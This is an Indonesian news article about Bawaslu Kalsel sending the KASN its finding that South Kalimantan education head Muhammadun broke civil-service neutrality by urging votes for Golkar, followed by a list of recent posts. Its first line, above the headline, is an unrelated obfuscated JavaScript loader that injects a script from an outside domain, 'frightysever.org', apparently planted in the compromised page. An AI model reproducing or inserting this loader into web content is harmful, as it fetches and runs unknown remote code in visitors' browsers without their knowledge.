(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Rekomendasi Temuan Pelanggaran Netralitas Kadisdikbud Kalsel Sudah di Meja KASN RI


KANALKALIMANTAN.COM, BANJARMASIN – Badan Pengawas Pemilu (Bawaslu) Provinsi Kalimantan Selatan (Kalsel) akhirnya menuntaskan seluruh proses penelusuran dugaan pelanggaran netralitas ASN Kepala Dinas Pendidikan dan Kebudayaan (Kadisdikbud) Kalsel Muhammadun.

Proses itu diakhiri dengan penyerahan rekomendasi atas dugaan pelanggaran netralitas ASN dengan nomor register temuan 002/Reg/TM/PL/Prov/22.00/XI/2023 kepada Komisi Aparatur Sipil Negara (KASN) RI di Jakarta, Senin (20/11/2023) siang.

Rekomendasi hasil temuan itu diserahkan langsung oleh Koordinator Divisi Pencegahan, Parmas, dan Humas Bawaslu Kalsel, Thessa Aji Budiono didampingi Kabid Penanganan Pelanggaran, Penyelesaian Sengketa Proses dan Hukum, Doddy Yulihartanto.

“Hari ini tadi sudah diserahkan rekomendasinya ke Komisi ASN,” kata Thessa kepada kanalkalimantan.com, Senin (20/11/2023) siang.

Baca juga: Disdik Banjarbaru Inisiasi Program Ustadz-ustadzah Masuk Sekolah dan Halaqah Ilmu di SD dan SMP

Dikatakan Thessa, berkas penanganan pelanggaran tersebut diterima langsung oleh Dr Lip Ilham Firman selaku Asisten KASN Pengawasan Bidang Penerapan Nilai Dasar, Kode Etik, Kode Prilaku dan Netralitas ASN.

Saat proses penyerahan di gedung KASN RI Jalan Letjen MT Hariyono, Kecamatan Pancoran, Jakarta, diungkapkan Thessa, pihak KSAN akan segera menindaklanjuti terkait hasil temuan Bawaslu Kalsel terkait dugaan pelanggaran netralitas ASN yang dilakukan Kadisdikbud Muhammadun.

“Bapak Lip Ilham Firman mengapresiasi rekomendasi tersebut, dan dalam waktu dekat KASN akan menjadwalkan pemeriksaan kepada para pihak yang berkaitan dalam kasus ini,” ungkap Thessa yang menyampaikan hasil pertemuan di gedung KSAN.

Baca juga: Distribusi Air Bersih PAM Bandarmasih Mati Enam Jam, Ini Wilayah Terdampak

Sebelumnya hasil kesimpulan pleno Bawaslu Kalsel menetapkan perbuatan Kadisdikbud Muhammadun yang mengajak orang lain mencoblos Partai Golkar saat acara pembukaan Job Fair di SMKN 3 Banjarmasin Senin (6/11/2023) lalu, tidak terbukti melanggar tindak pidana Pemilu, melainkan hanya pelanggaran netralitas ASN.

Kadiv Penanganan Pelanggaran dan Datin Bawaslu Kalsel, Radini menyampaikan, perbuatan Madun -biasa pejabat Pemprov Kalsel ini disapa- mengajak orang lain memilih Parpol peserta Pemilu 2024 merupakan peristiwa hukum, yakni dugaan pelanggaran hukum lainnya ditinjau dari beberapa aspek.

Pertama, aspek Undang-Undang Nomor 7 Tahun 2017 tentang Pemilu, perbuatan Madun diduga telah memenuhi unsur ajakan sebagaimana ketentuan Pasal 283 ayat (2).

Kemudian kedua, aspek Undang-Undang ASN pasal 2 huruf f jo pasal 24 ayat 1 huruf d yang pada pokoknya ASN wajib menjaga netralitas dalam tindakan dan perbuatan.

Baca juga: Ketua Bapemperda DPRD Kapuas Optimis Raperda Retribusi dan Pajak Daerah Dongkrak PAD

Ketiga, aspek peraturan perundang-undangan lainnya yang berkaitan pengaturan pegawai ASN meliputi Peraturan Pemerintah (PP) Nomor 42 Tahun 2004, PP Nomor 94 Tahun 2021, dan Surat Keputusan Bersama (SKB) yang pada pokoknya PNS dilarang memberikan dukungan atau tindakan yang menguntungkan atau merugikan peserta Pemilu maupun Pilkada baik sebelum, pada saat maupun setelah masa kampanye.

Baca juga: Ramah Tamah Duta GenRe Se HSU, Ada Life Skill hingga GenRe Kit

“Berdasarkan SKB dan hasil rapat pleno dugaan hasil temuan pelanggaran hukum lainnya dengan register Nomor 002/Reg/TM/PL/Prov/22.00/XI/2023 direkomendasikan Bawaslu Provinsi Kalsel ke Komisi Aparatur Sipil Negara,” tandas Radini. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

2 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

2 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

3 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

16 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

16 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

17 jam ago

This website uses cookies.